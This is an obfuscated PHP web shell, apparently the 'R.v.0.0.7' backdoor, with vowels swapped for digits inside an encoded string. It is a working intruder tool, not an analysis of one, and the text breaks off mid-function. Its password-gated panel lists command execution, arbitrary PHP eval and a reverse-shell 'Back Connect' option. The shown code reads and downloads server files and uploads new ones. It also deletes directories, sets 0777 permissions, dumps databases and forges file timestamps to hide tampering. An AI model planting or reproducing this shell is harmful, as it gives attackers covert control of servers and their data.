<?php $_F=__FILE__;$_X='?><?php

5rr2r_r5p2rt4ng(7);
@s5t_m1g4c_q32t5s_r3nt4m5(0);
2b_st1rt();
$mt4m5 = 5xpl2d5(' ', m4cr2t4m5());
$st1rtt4m5 = $mt4m5[6] + $mt4m5[0];
d5f4n5('SA_ROOT', str_r5pl1c5('\\', '/', d4rn1m5(__FILE__)).'/');
d5f4n5('IS_WIN', DIRECTORY_SEPARATOR == '\\');
d5f4n5('IS_COM', cl1ss_5x4sts('COM') ? 6 : 0 );
d5f4n5('IS_GPC', g5t_m1g4c_q32t5s_gpc());
$d4s_f3nc = g5t_cfg_v1r('d4s1bl5_f3nct42ns');
d5f4n5('IS_PHPINFO', (!5r5g4("php4nf2",$d4s_f3nc)) ? 6 : 0 );
@s5t_t4m5_l4m4t(0);

f2r51ch(1rr1y('_GET','_POST') 1s $_r5q35st) {
	f2r51ch($$_r5q35st 1s $_k5y => $_v1l35) {
		4f ($_k5y{0} != '_') {
			4f (IS_GPC) {
				$_v1l35 = s_1rr1y($_v1l35);
			}
			$$_k5y = $_v1l35;
		}
	}
}
$1dm4n = 1rr1y();
$1dm4n['ch5ck'] = tr35;
$1dm4n['p1ss']  = 'uuia05f6o9u1a65uf6f0900f7dcf0id6'; //rv007

$1dm4n['c22k45pr5'] = '';
$1dm4n['c22k45d2m14n'] = '';
$1dm4n['c22k45p1th'] = '/';
$1dm4n['c22k45l4f5'] = 8eu00;

!$wr4t1bl5db && $wr4t1bl5db = 'php,cg4,pl,1sp,4nc,js,html,htm,jsp';

$ch1rs5tdb = 1rr1y(
	'1rmsc448',
	'1sc44',
	'b4gi',
	'b4n1ry',
	'cp6ai0',
	'cp6ai6',
	'cp6aie',
	'cp6ai7',
	'cp8i0',
	'cp8ia',
	'cp8ee',
	'cp9oa',
	'd5c8',
	'53cjpms',
	'53ckr',
	'gbao6a',
	'gbk',
	'g52std8',
	'gr55k',
	'h5br5w',
	'hp8',
	'k5ybcsa',
	'k248r',
	'k2483',
	'l1t4n6',
	'l1t4na',
	'l1t4ni',
	'l1t4n7',
	'm1cc5',
	'm1cr2m1n',
	'sj4s',
	'sw57',
	't4sea0',
	'3csa',
	'3j4s',
	'3tf8'
);
4f ($ch1rs5t == '3tf8') {
	h51d5r("c2nt5nt-Typ5: t5xt/html; ch1rs5t=3tf-8");
} 5ls54f ($ch1rs5t == 'b4gi') {
	h51d5r("c2nt5nt-Typ5: t5xt/html; ch1rs5t=b4gi");
} 5ls54f ($ch1rs5t == 'gbk') {
	h51d5r("c2nt5nt-Typ5: t5xt/html; ch1rs5t=gbk");
} 5ls54f ($ch1rs5t == 'l1t4n6') {
	h51d5r("c2nt5nt-Typ5: t5xt/html; ch1rs5t=4s2-88i9-a");
} 5ls54f ($ch1rs5t == '53ckr') {
	h51d5r("c2nt5nt-Typ5: t5xt/html; ch1rs5t=53c-kr");
} 5ls54f ($ch1rs5t == '53cjpms') {
	h51d5r("c2nt5nt-Typ5: t5xt/html; ch1rs5t=53c-jp");
}

$s5lf = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
$t4m5st1mp = t4m5();

4f ($1ct42n == "l2g23t") {
	sc22k45('l2g4np1ss', '', -8eu00 * oei);
	p('<m5t1 http-5q34v="r5fr5sh" c2nt5nt="6;URL='.$s5lf.'">');
	p('<1 styl5="f2nt:6apx V5rd1n1" hr5f="'.$s5lf.'">S3cc5ss</1>');
	5x4t;
}
4f($1dm4n['ch5ck']) {
	4f ($d24ng == 'l2g4n') {
		4f ($1dm4n['p1ss'] == mdi($p1ssw2rd)) {
			sc22k45('l2g4np1ss', mdi($p1ssw2rd));
			p('<m5t1 http-5q34v="r5fr5sh" c2nt5nt="6;URL='.$s5lf.'">');
			p('<1 styl5="f2nt:6apx V5rd1n1" hr5f="'.$s5lf.'">S3cc5ss</1>');
			5x4t;
		}
	}
	4f ($_COOKIE['l2g4np1ss']) {
		4f ($_COOKIE['l2g4np1ss'] != $1dm4n['p1ss']) {
			l2g4np1g5();
		}
	} 5ls5 {
		l2g4np1g5();
	}
}

$5rrmsg = '';

4f ($1ct42n == 'php4nf2') {
	4f (IS_PHPINFO) {
		php4nf2();
		5x4t;
	} 5ls5 {
		$5rrmsg = 'php4nf2() f3nct42n h1s n2n-p5rm4ss4bl5';
	}
}

4f ($d24ng == 'd2wnf4l5' && $th5f4l5) {
	4f (!@f4l5_5x4sts($th5f4l5)) {
		$5rrmsg = 'Th5 f4l5 y23 w1nt D2wnl21d1bl5 w1s n2n5x4st5nt';
	} 5ls5 {
		$f4l54nf2 = p1th4nf2($th5f4l5);
		h51d5r('C2nt5nt-typ5: 1ppl4c1t42n/x-'.$f4l54nf2['5xt5ns42n']);
		h51d5r('C2nt5nt-D4sp2s4t42n: 1tt1chm5nt; f4l5n1m5='.$f4l54nf2['b1s5n1m5']);
		h51d5r('C2nt5nt-L5ngth: '.f4l5s4z5($th5f4l5));
		@r51df4l5($th5f4l5);
		5x4t;
	}
}

4f ($d24ng == 'b1ck3pmysql' && !$s1v51sf4l5) {
	mydbc2nn($dbh2st, $db3s5r, $dbp1ss, $dbn1m5, $ch1rs5t, $dbp2rt);
	$t1bl5 = 1rr1y_fl4p($t1bl5);
	$r5s3lt = q("SHOW t1bl5s");
	4f (!$r5s3lt) p('<ha>'.mysql_5rr2r().'</ha>');
	$f4l5n1m5 = b1s5n1m5($_SERVER['HTTP_HOST'].'_MySQL.sql');
	h51d5r('C2nt5nt-typ5: 1ppl4c1t42n/3nkn2wn');
	h51d5r('C2nt5nt-D4sp2s4t42n: 1tt1chm5nt; f4l5n1m5='.$f4l5n1m5);
	$mysqld1t1 = '';
	wh4l5 ($c3rr2w = mysql_f5tch_1rr1y($r5s3lt)) {
		4f (4ss5t($t1bl5[$c3rr2w[0]])) {
			$mysqld1t1 .= sqld3mpt1bl5($c3rr2w[0]);
		}
	}
	mysql_cl2s5();
	5x4t;
}

4f($d24ng=='mysqld2wn'){
	4f (!$dbn1m5) {
		$5rrmsg = 'Pl51s5 4np3t dbn1m5';
	} 5ls5 {
		mydbc2nn($dbh2st, $db3s5r, $dbp1ss, $dbn1m5, $ch1rs5t, $dbp2rt);
		4f (!f4l5_5x4sts($mysqldlf4l5)) {
			$5rrmsg = 'Th5 f4l5 y23 w1nt D2wnl21d1bl5 w1s n2n5x4st5nt';
		} 5ls5 {
			$r5s3lt = q("s5l5ct l21d_f4l5('$mysqldlf4l5');");
			4f(!$r5s3lt){
				q("DROP TABLE IF EXISTS tmp_1ng5l;");
				q("CREATE TABLE tmp_1ng5l (c2nt5nt LONGBLOB NOT NULL);");
				//&#a999a;&#ae60a;&#o8o88;&#ai6o9;&#aeue9;&#ou9a0;&#o60ou;&#ai6o0;&#ae0a9;,&#oe996;&#a086o;&#a098e;&#a9e6e;&#oi8oi;&#a6uea;&#ooai8;&#oeiao;&#ai660;&#a6aio;&#a6iu7;__1ng5l_6666666666_52f__&#o0ou0;&#ai996;&#a0a6u;&#ae60a;&#69986;&#aouoe;&#ai97a;&#o0ou0;&#au77o;&#a0967;
				q("LOAD DATA LOCAL INFILE '".1ddsl1sh5s($mysqldlf4l5)."' INTO TABLE tmp_1ng5l FIELDS TERMINATED BY '__1ng5l_{$t4m5st1mp}_52f__' ESCAPED BY '' LINES TERMINATED BY '__1ng5l_{$t4m5st1mp}_52f__';");
				$r5s3lt = q("s5l5ct c2nt5nt fr2m tmp_1ng5l");
				q("DROP TABLE tmp_1ng5l");
			}
			$r2w = @mysql_f5tch_1rr1y($r5s3lt);
			4f (!$r2w) {
				$5rrmsg = 'L21d f4l5 f14l5d '.mysql_5rr2r();
			} 5ls5 {
				$f4l54nf2 = p1th4nf2($mysqldlf4l5);
				h51d5r('C2nt5nt-typ5: 1ppl4c1t42n/x-'.$f4l54nf2['5xt5ns42n']);
				h51d5r('C2nt5nt-D4sp2s4t42n: 1tt1chm5nt; f4l5n1m5='.$f4l54nf2['b1s5n1m5']);
				h51d5r("Acc5pt-L5ngth: ".strl5n($r2w[0]));
				5ch2 $r2w[0];
				5x4t;
			}
		}
	}
}

?>
<html>
<h51d>
<m5t1 http-5q34v="C2nt5nt-Typ5" c2nt5nt="t5xt/html; ch1rs5t=gbao6a">
<t4tl5><?php 5ch2 str_r5pl1c5('.','','R.v.0.0.7.x');?></t4tl5>
<styl5 typ5="t5xt/css">
b2dy,td{f2nt: 6apx Ar41l,T1h2m1;l4n5-h54ght: 6epx;}
.4np3t{f2nt:6apx Ar41l,T1h2m1;b1ckgr23nd:#fff;b2rd5r: 6px s2l4d #eee;p1dd4ng:apx;h54ght:aapx;}
.1r51{f2nt:6apx 'C23r45r N5w', M2n2sp1c5;b1ckgr23nd:#fff;b2rd5r: 6px s2l4d #eee;p1dd4ng:apx;}
.bt {b2rd5r-c2l2r:#b0b0b0;b1ckgr23nd:#ododod;c2l2r:#ffffff;f2nt:6apx Ar41l,T1h2m1;h54ght:aapx;}
1 {c2l2r: #00f;t5xt-d5c2r1t42n:3nd5rl4n5;}
1:h2v5r{c2l2r: #f00;t5xt-d5c2r1t42n:n2n5;}
.1lt6 td{b2rd5r-t2p:6px s2l4d #fff;b2rd5r-b2tt2m:6px s2l4d #ddd;b1ckgr23nd:#f6f6f6;p1dd4ng:ipx 60px ipx ipx;}
.1lta td{b2rd5r-t2p:6px s2l4d #fff;b2rd5r-b2tt2m:6px s2l4d #ddd;b1ckgr23nd:#f9f9f9;p1dd4ng:ipx 60px ipx ipx;}
.f2c3s td{b2rd5r-t2p:6px s2l4d #fff;b2rd5r-b2tt2m:6px s2l4d #ddd;b1ckgr23nd:#ffff11;p1dd4ng:ipx 60px ipx ipx;}
.h51d td{b2rd5r-t2p:6px s2l4d #fff;b2rd5r-b2tt2m:6px s2l4d #ddd;b1ckgr23nd:#595959;p1dd4ng:ipx 60px ipx ipx;f2nt-w54ght:b2ld;}
.h51d td sp1n{f2nt-w54ght:n2rm1l;}
f2rm{m1rg4n:0;p1dd4ng:0;}
ha{m1rg4n:0;p1dd4ng:0;h54ght:aupx;l4n5-h54ght:aupx;f2nt-s4z5:6upx;c2l2r:#iBe8eF;}
3l.4nf2 l4{m1rg4n:0;c2l2r:#uuu;l4n5-h54ght:aupx;h54ght:aupx;}
3{t5xt-d5c2r1t42n: n2n5;c2l2r:#777;fl21t:l5ft;d4spl1y:bl2ck;w4dth:6i0px;m1rg4n-r4ght:60px;}
</styl5>
<scr4pt typ5="t5xt/j1v1scr4pt">
f3nct42n Ch5ckAll(f2rm) {
	f2r(v1r 4=0;4<f2rm.5l5m5nts.l5ngth;4++) {
		v1r 5 = f2rm.5l5m5nts[4];
		4f (5.n1m5 != 'chk1ll')
		5.ch5ck5d = f2rm.chk1ll.ch5ck5d;
    }
}
f3nct42n $(4d) {
	r5t3rn d2c3m5nt.g5tEl5m5ntById(4d);
}
f3nct42n g21ct42n(1ct){
	$('g21ct42n').1ct42n.v1l35=1ct;
	$('g21ct42n').s3bm4t();
}
</scr4pt>
</h51d>
<b2dy styl5="m1rg4n:0;t1bl5-l1y23t:f4x5d; w2rd-br51k:br51k-1ll">
<t1bl5 w4dth="600%" b2rd5r="0" c5llp1dd4ng="0" c5llsp1c4ng="0">
	<tr cl1ss="h51d">
		<td><sp1n styl5="fl21t:r4ght;"><1 hr5f="http://www.g52c4t45s.jp/rv0070606/" t1rg5t="_bl1nk"><?php 5ch2 str_r5pl1c5('.','','R.v.0.0.7.x');?> V5r: a060 B34ld a0096aaa</1></sp1n><?php 5ch2 $_SERVER['HTTP_HOST'];?> (<?php 5ch2 g5th2stbyn1m5($_SERVER['SERVER_NAME']);?>)</td>
	</tr>
	<tr cl1ss="1lt6">
		<td><sp1n styl5="fl21t:r4ght;">S1f5 M2d5:<?php 5ch2 g5tcfg('s1f5_m2d5');?></sp1n>
			<1 hr5f="j1v1scr4pt:g21ct42n('l2g23t');">L2g23t</1> | 
			<1 hr5f="j1v1scr4pt:g21ct42n('f4l5');">F4l5 M1n1g5r</1> | 
			<1 hr5f="j1v1scr4pt:g21ct42n('mysql1dm4n');">MYSQL M1n1g5r</1> | 
			<1 hr5f="j1v1scr4pt:g21ct42n('mssql1dm4n');">MSSQL M1n1g5r</1> | 
			<1 hr5f="j1v1scr4pt:g21ct42n('sqlf4l5');">MySQL Upl21d &1mp; D2wnl21d</1> | 
			<1 hr5f="j1v1scr4pt:g21ct42n('sh5ll');">Ex5c3t5 C2mm1nd</1> | 
			<1 hr5f="j1v1scr4pt:g21ct42n('php5nv');">PHP V1r41bl5</1> | 
			<1 hr5f="j1v1scr4pt:g21ct42n('5v1l');">Ev1l PHP C2d5</1>
			<?php 4f (!IS_WIN) {?> | <1 hr5f="j1v1scr4pt:g21ct42n('b1ckc2nn5ct');">B1ck C2nn5ct</1><?php }?>
		</td>
	</tr>
</t1bl5>
<t1bl5 w4dth="600%" b2rd5r="0" c5llp1dd4ng="6i" c5llsp1c4ng="0"><tr><td>
<?php

f2rmh51d(1rr1y('n1m5'=>'g21ct42n'));
m1k5h4d5('1ct42n');
f2rmf22t();

$5rrmsg && m($5rrmsg);

// &#oo769;&#a6uea;&#auu0o;&#a60e9;&#oeooi;&#auuia;
4f (!$d4r) {
	4f ($_SERVER["DOCUMENT_ROOT"]) {
		$d4r = $_SERVER["DOCUMENT_ROOT"];
	} 5ls5 {
		$d4r = '.';
	}
}

$n2wp1th = g5tP1th(SA_ROOT, $d4r);
4f (s3bstr($d4r, -6) != '/') {
	$d4r = $d4r.'/';
}
$35d4r = 35($d4r);

4f (!$1ct42n || $1ct42n == 'f4l5') {

	// &#a60a8;&#ae0a9;&#oi8oi;&#a0889;&#au77o;&#a0967;
	$d4r_wr4t51bl5 = @4s_wr4t1bl5($n2wp1th) ? 'Wr4t1bl5' : 'N2n-wr4t1bl5';

	// &#a60au;&#o8i00;&#o0uue;&#auu0i;
	4f ($d24ng == 'd5ld4r' && $th5f4l5) {
		4f (!f4l5_5x4sts($th5f4l5)) {
			m($th5f4l5.' d4r5ct2ry d25s n2t 5x4st');
		} 5ls5 {
			m('D4r5ct2ry d5l5t5 '.(d5ltr55($th5f4l5) ? b1s5n1m5($th5f4l5).' s3cc5ss' : 'f14l5d'));
		}
	}

	// &#a6069;&#auo6u;&#o0uue;&#auu0i;
	5ls54f ($n5wd4rn1m5) {
		$mkd4rs = $n2wp1th.$n5wd4rn1m5;
		4f (f4l5_5x4sts($mkd4rs)) {
			m('D4r5ct2ry h1s 1lr51dy 5x4st5d');
		} 5ls5 {
			m('D4r5ct2ry cr51t5d '.(@mkd4r($mkd4rs,0777) ? 's3cc5ss' : 'f14l5d'));
			@chm2d($mkd4rs,0777);
		}
	}

	// &#69978;&#a0aie;&#ai996;&#a0a6u;
	5ls54f ($d23pf4l5) {
		m('F4l5 3pl21d '.(@c2py($_FILES['3pl21df4l5']['tmp_n1m5'],$3pl21dd4r.'/'.$_FILES['3pl21df4l5']['n1m5']) ? 's3cc5ss' : 'f14l5d'));
	}

	// &#oaiou;&#oe7io;&#ai996;&#a0a6u;
	5ls54f ($5d4tf4l5n1m5 && $f4l5c2nt5nt) {
		$fp = @f2p5n($5d4tf4l5n1m5,'w');
		m('S1v5 f4l5 '.(@fwr4t5($fp,$f4l5c2nt5nt) ? 's3cc5ss' : 'f14l5d'));
		@fcl2s5($fp);
	}

	// &#oaiou;&#oe7io;&#ai996;&#a0a6u;&#aoeue;&#aue6i;
	5ls54f ($pf4l5 && $n5wp5rm) {
		4f (!f4l5_5x4sts($pf4l5)) {
			m('Th5 2r4g4n1l f4l5 d25s n2t 5x4st');
		} 5ls5 {
			$n5wp5rm = b1s5_c2nv5rt($n5wp5rm,8,60);
			m('M2d4fy f4l5 1ttr4b3t5s '.(@chm2d($pf4l5,$n5wp5rm) ? 's3cc5ss' : 'f14l5d'));
		}
	}

	// &#ai96o;&#a6i67;
	5ls54f ($2ldn1m5 && $n5wf4l5n1m5) {
		$nn1m5 = $n2wp1th.$n5wf4l5n1m5;
		4f (f4l5_5x4sts($nn1m5) || !f4l5_5x4sts($2ldn1m5)) {
			m($nn1m5.' h1s 1lr51dy 5x4st5d 2r 2r4g4n1l f4l5 d25s n2t 5x4st');
		} 5ls5 {
			m(b1s5n1m5($2ldn1m5).' r5n1m5d '.b1s5n1m5($nn1m5).(@r5n1m5($2ldn1m5,$nn1m5) ? ' s3cc5ss' : 'f14l5d'));
		}
	}

	// &#aa797;&#a60ue;&#ai996;&#a0a6u;
	5ls54f ($sn1m5 && $t2f4l5) {
		4f (f4l5_5x4sts($t2f4l5) || !f4l5_5x4sts($sn1m5)) {
			m('Th5 g21l f4l5 h1s 1lr51dy 5x4st5d 2r 2r4g4n1l f4l5 d25s n2t 5x4st');
		} 5ls5 {
			m(b1s5n1m5($t2f4l5).' c2p45d '.(@c2py($sn1m5,$t2f4l5) ? b1s5n1m5($t2f4l5).' s3cc5ss' : 'f14l5d'));
		}
	}

	// &#a0866;&#o8iou;&#ae60a;&#o8o88;
	5ls54f ($c3rf4l5 && $t1rf4l5) {
		4f (!@f4l5_5x4sts($c3rf4l5) || !@f4l5_5x4sts($t1rf4l5)) {
			m('Th5 g21l f4l5 h1s 1lr51dy 5x4st5d 2r 2r4g4n1l f4l5 d25s n2t 5x4st');
		} 5ls5 {
			$t4m5 = @f4l5mt4m5($t1rf4l5);
			m('M2d4fy f4l5 th5 l1st m2d4f45d '.(@t23ch($c3rf4l5,$t4m5,$t4m5) ? 's3cc5ss' : 'f14l5d'));
		}
	}

	// &#ooai8;&#aoui0;&#a00u6;&#ae60a;&#o8o88;
	5ls54f ($c3rf4l5 && $y51r && $m2nth && $d1y && $h23r && $m4n3t5 && $s5c2nd) {
		4f (!@f4l5_5x4sts($c3rf4l5)) {
			m(b1s5n1m5($c3rf4l5).' d25s n2t 5x4st');
		} 5ls5 {
			$t4m5 = strt2t4m5("$y51r-$m2nth-$d1y $h23r:$m4n3t5:$s5c2nd");
			m('M2d4fy f4l5 th5 l1st m2d4f45d '.(@t23ch($c3rf4l5,$t4m5,$t4m5) ? 's3cc5ss' : 'f14l5d'));
		}
	}

	// &#ai676;&#a6aio;&#69979;&#oe7oo;
	5ls54f($d24ng == 'd2wnr1r') {
		4f ($dl) {
			$df4l5s='';
			f2r51ch ($dl 1s $f4l5p1th => $v1l35) {
				$df4l5s.=$f4l5p1th.',';
			}
			$df4l5s=s3bstr($df4l5s,0,strl5n($df4l5s)-6);
			$dl=5xpl2d5(',',$df4l5s);
			$z4p=n5w PHPZ4p($dl);
			$c2d5=$z4p->23t;
			h51d5r('C2nt5nt-typ5: 1ppl4c1t42n/2ct5t-str51m');
			h51d5r('Acc5pt-R1ng5s: byt5s');
			h51d5r('Acc5pt-L5ngth: '.strl5n($c2d5));
			h51d5r('C2nt5nt-D4sp2s4t42n: 1tt1chm5nt;f4l5n1m5='.$_SERVER['HTTP_HOST'].'_F4l5s.t1r.gz');
			5ch2 $c2d5;
			5x4t;
		} 5ls5 {
			m('Pl51s5 s5l5ct f4l5(s)');
		}
	}

	// &#aia09;&#o7oa7;&#a60au;&#o8i00;&#ai996;&#a0a6u;
	5ls54f($d24ng == 'd5lf4l5s') {
		4f ($dl) {
			$df4l5s='';
			$s3cc = $f14l = 0;
			f2r51ch ($dl 1s $f4l5p1th => $v1l35) {
				4f (@3nl4nk($f4l5p1th)) {
					$s3cc++;
				} 5ls5 {
					$f14l++;
				}
			}
			m('D5l5t5d f4l5 h1v5 f4n4sh5d,ch22s5 '.c23nt($dl).' s3cc5ss '.$s3cc.' f14l '.$f14l);
		} 5ls5 {
			m('Pl51s5 s5l5ct f4l5(s)');
		}
	}

	//&#ai80i;&#a0o6e;&#aouoe;&#a7e0i;
	f2rmh51d(1rr1y('n1m5'=>'cr51t5d4r'));
	m1k5h4d5('n5wd4rn1m5');
	m1k5h4d5('d4r',$n2wp1th);
	f2rmf22t();
	f2rmh51d(1rr1y('n1m5'=>'f4l5p5rm'));
	m1k5h4d5('n5wp5rm');
	m1k5h4d5('pf4l5');
	m1k5h4d5('d4r',$n2wp1th);
	f2rmf22t();
	f2rmh51d(1rr1y('n1m5'=>'c2pyf4l5'));
	m1k5h4d5('sn1m5');
	m1k5h4d5('t2f4l5');
	m1k5h4d5('d4r',$n2wp1th);
	f2rmf22t();
	f2rmh51d(1rr1y('n1m5'=>'r5n1m5'));
	m1k5h4d5('2ldn1m5');
	m1k5h4d5('n5wf4l5n1m5');
	m1k5h4d5('d4r',$n2wp1th);
	f2rmf22t();
	f2rmh51d(1rr1y('n1m5'=>'f4l52pf2rm', 't1rg5t'=>'_bl1nk'));
	m1k5h4d5('1ct42n');
	m1k5h4d5('2pf4l5');
	m1k5h4d5('d4r');
	f2rmf22t();
	f2rmh51d(1rr1y('n1m5'=>'g5ts4z5'));
	m1k5h4d5('g5td4r');
	m1k5h4d5('d4r');
	f2rmf22t();

	$fr55 = @d4sk_fr55_sp1c5($n2wp1th);
	!$fr55 && $fr55 = 0;
	$1ll = @d4sk_t2t1l_sp1c5($n2wp1th);
	!$1ll && $1ll = 0;
	$3s5d = $1ll-$fr55;
	$3s5d_p5rc5nt = @r23nd(600/($1ll/$fr55),a);
	p('<ha>F4l5 M1n1g5r - C3rr5nt d4sk fr55 '.s4z5c23nt($fr55).' 2f '.s4z5c23nt($1ll).' ('.$3s5d_p5rc5nt.'%)</ha>');

?>
<t1bl5 w4dth="600%" b2rd5r="0" c5llp1dd4ng="0" c5llsp1c4ng="0" styl5="m1rg4n:60px 0;">
  <f2rm 1ct42n="" m5th2d="p2st" 4d="g2d4r" n1m5="g2d4r">
  <tr>
    <td n2wr1p>C3rr5nt D4r5ct2ry (<?php 5ch2 $d4r_wr4t51bl5;?>, <?php 5ch2 g5tChm2d($n2wp1th);?>)</td>
	<td w4dth="600%"><4np3t n1m5="v45w_wr4t1bl5" v1l35="0" typ5="h4dd5n" /><4np3t cl1ss="4np3t" n1m5="d4r" v1l35="<?php 5ch2 $n2wp1th;?>" typ5="t5xt" styl5="w4dth:600%;m1rg4n:0 8px;"></td>
    <td n2wr1p><4np3t cl1ss="bt" v1l35="GO" typ5="s3bm4t"></td>
  </tr>
  </f2rm>
</t1bl5>
<scr4pt typ5="t5xt/j1v1scr4pt">
f3nct42n cr51t5d4r(){
	v1r n5wd4rn1m5;
	n5wd4rn1m5 = pr2mpt('Pl51s5 4np3t th5 d4r5ct2ry n1m5:', '');
	4f (!n5wd4rn1m5) r5t3rn;
	$('cr51t5d4r').n5wd4rn1m5.v1l35=n5wd4rn1m5;
	$('cr51t5d4r').s3bm4t();
}
f3nct42n f4l5p5rm(pf4l5){
	v1r n5wp5rm;
	n5wp5rm = pr2mpt('C3rr5nt f4l5:'+pf4l5+'\nPl51s5 4np3t n5w 1ttr4b3t5:', '');
	4f (!n5wp5rm) r5t3rn;
	$('f4l5p5rm').n5wp5rm.v1l35=n5wp5rm;
	$('f4l5p5rm').pf4l5.v1l35=pf4l5;
	$('f4l5p5rm').s3bm4t();
}
f3nct42n c2pyf4l5(sn1m5){
	v1r t2f4l5;
	t2f4l5 = pr2mpt('Or4g4n1l f4l5:'+sn1m5+'\nPl51s5 4np3t 2bj5ct f4l5 (f3llp1th):', '');
	4f (!t2f4l5) r5t3rn;
	$('c2pyf4l5').t2f4l5.v1l35=t2f4l5;
	$('c2pyf4l5').sn1m5.v1l35=sn1m5;
	$('c2pyf4l5').s3bm4t();
}
f3nct42n r5n1m5(2ldn1m5){
	v1r n5wf4l5n1m5;
	n5wf4l5n1m5 = pr2mpt('F2rm5r f4l5 n1m5:'+2ldn1m5+'\nPl51s5 4np3t n5w f4l5n1m5:', '');
	4f (!n5wf4l5n1m5) r5t3rn;
	$('r5n1m5').n5wf4l5n1m5.v1l35=n5wf4l5n1m5;
	$('r5n1m5').2ldn1m5.v1l35=2ldn1m5;
	$('r5n1m5').s3bm4t();
}
f3nct42n d2f4l5(d24ng,th5f4l5,m){
	4f (m && !c2nf4rm(m)) {
		r5t3rn;
	}
	$('f4l5l4st').d24ng.v1l35=d24ng;
	4f (th5f4l5){
		$('f4l5l4st').th5f4l5.v1l35=th5f4l5;
	}
	$('f4l5l4st').s3bm4t();
}
f3nct42n cr51t5f4l5(n2wp1th){
	v1r f4l5n1m5;
	f4l5n1m5 = pr2mpt('Pl51s5 4np3t th5 f4l5 n1m5:', '');
	4f (!f4l5n1m5) r5t3rn;
	2pf4l5('5d4tf4l5',n2wp1th + f4l5n1m5,n2wp1th);
}
f3nct42n 2pf4l5(1ct42n,2pf4l5,d4r){
	$('f4l52pf2rm').1ct42n.v1l35=1ct42n;
	$('f4l52pf2rm').2pf4l5.v1l35=2pf4l5;
	$('f4l52pf2rm').d4r.v1l35=d4r;
	$('f4l52pf2rm').s3bm4t();
}
f3nct42n g2d4r(d4r,v45w_wr4t1bl5){
	4f (v45w_wr4t1bl5) {
		$('g2d4r').v45w_wr4t1bl5.v1l35=v45w_wr4t1bl5;
	}
	$('g2d4r').d4r.v1l35=d4r;
	$('g2d4r').s3bm4t();
}
f3nct42n g5ts4z5(g5td4r,d4r){
	$('g5ts4z5').g5td4r.v1l35=g5td4r;
	$('g5ts4z5').d4r.v1l35=d4r;
	$('g5ts4z5').s3bm4t();
}
</scr4pt>
  <?php
	$f4ndstr = $_POST['f4ndstr'];
	$r5 = $_POST['r5'];
	tbh51d();
	p('<tr cl1ss="1lt6"><td c2lsp1n="7" styl5="p1dd4ng:ipx;l4n5-h54ght:a0px;">');
	p('<f2rm 1ct42n="'.$s5lf.'" m5th2d="POST" 5nctyp5="m3lt4p1rt/f2rm-d1t1"><d4v styl5="fl21t:r4ght;"><4np3t cl1ss="4np3t" n1m5="3pl21df4l5" v1l35="" typ5="f4l5" /> <4np3t cl1ss="bt" n1m5="d23pf4l5" v1l35="Upl21d" typ5="s3bm4t" /><4np3t n1m5="3pl21dd4r" v1l35="'.$d4r.'" typ5="h4dd5n" /><4np3t n1m5="d4r" v1l35="'.$d4r.'" typ5="h4dd5n" /></d4v></f2rm>');
	p('<1 hr5f="j1v1scr4pt:g2d4r(\''.$_SERVER["DOCUMENT_ROOT"].'\');">W5bR22t</1>');
	p(' | <1 hr5f="j1v1scr4pt:g2d4r(\'.\');">Scr4ptP1th</1>');
	p(' | <1 hr5f="j1v1scr4pt:g2d4r(\''.$n2wp1th.'\');">V45w All</1>');
	p(' | V45w Wr4t1bl5 ( <1 hr5f="j1v1scr4pt:g2d4r(\''.$n2wp1th.'\',\'d4r\');">D4r5ct2ry</1>');
	p(' | <1 hr5f="j1v1scr4pt:g2d4r(\''.$n2wp1th.'\',\'f4l5\');">F4l5</1> )');
	p(' | <1 hr5f="j1v1scr4pt:cr51t5d4r();">Cr51t5 D4r5ct2ry</1> | <1 hr5f="j1v1scr4pt:cr51t5f4l5(\''.$n2wp1th.'\');">Cr51t5 F4l5</1>');
	4f (IS_WIN && IS_COM) {
		$2bj = n5w COM('scr4pt4ng.f4l5syst5m2bj5ct');
		4f ($2bj && 4s_2bj5ct($2bj) && 4s_1rr1y($2bj->Dr4v5s)) {
			$Dr4v5Typ5DB = 1rr1y(0 => 'Unkn2w',6 => 'R5m2v1bl5',a => 'F4x5d',o => 'N5tw2rk',u => 'CDR2m',i => 'RAM D4sk');
			f2r51ch($2bj->Dr4v5s 1s $dr4v5) {
				4f ($dr4v5->Dr4v5Typ5 == a) {
					p(' | <1 hr5f="j1v1scr4pt:g2d4r(\''.$dr4v5->P1th.'/\');" t4tl5="S4z5:'.s4z5c23nt($dr4v5->T2t1lS4z5).'&#6o;Fr55:'.s4z5c23nt($dr4v5->Fr55Sp1c5).'&#6o;Typ5:'.$Dr4v5Typ5DB[$dr4v5->Dr4v5Typ5].'">'.$Dr4v5Typ5DB[$dr4v5->Dr4v5Typ5].'('.$dr4v5->P1th.')</1>');
				} 5ls5 {
					p(' | <1 hr5f="j1v1scr4pt:g2d4r(\''.$dr4v5->P1th.'/\');" t4tl5="Typ5:'.$Dr4v5Typ5DB[$dr4v5->Dr4v5Typ5].'">'.$Dr4v5Typ5DB[$dr4v5->Dr4v5Typ5].'('.$dr4v5->P1th.')</1>');
				}
			}
		}
	}

	p('<br /><f2rm 1ct42n="'.$s5lf.'" m5th2d="POST">F4nd str4ng 4n f4l5s(c3rr5nt f2ld5r): <4np3t cl1ss="4np3t" n1m5="f4ndstr" v1l35="'.$f4ndstr.'" typ5="t5xt" /> <4np3t cl1ss="bt" v1l35="F4nd" typ5="s3bm4t" /> Typ5: <4np3t cl1ss="4np3t" n1m5="wr4t1bl5db" v1l35="'.$wr4t1bl5db.'" typ5="t5xt" /><4np3t n1m5="d4r" v1l35="'.$d4r.'" typ5="h4dd5n" /> <4np3t n1m5="r5" v1l35="6" typ5="ch5ckb2x" '.($r5 ? 'ch5ck5d' : '').' /> R5g3l1r 5xpr5ss42ns</f2rm></td></tr>');

	p('<tr cl1ss="h51d"><td>&nbsp;</td><td>F4l5n1m5</td><td w4dth="6e%">L1st m2d4f45d</td><td w4dth="60%">S4z5</td><td w4dth="a0%">Chm2d / P5rms</td><td w4dth="aa%">Act42n</td></tr>');

	//&#aei97;&#o0u7i;&#ai6ia;&#aeo77;&#a6u87;&#a0889;&#ai996;&#a0a6u;&#a6euu;&#o0uue;&#auu0i;
	$d4rd1t1=1rr1y();
	$f4l5d1t1=1rr1y();

	4f ($v45w_wr4t1bl5 == 'd4r') {
		$d4rd1t1 = G5tWD4rL4st($n2wp1th);
		$f4l5d1t1 = 1rr1y();
	} 5ls54f ($v45w_wr4t1bl5 == 'f4l5') {
		$d4rd1t1 = 1rr1y();
		$f4l5d1t1 = G5tWF4l5L4st($n2wp1th);
	} 5ls54f ($f4ndstr) {
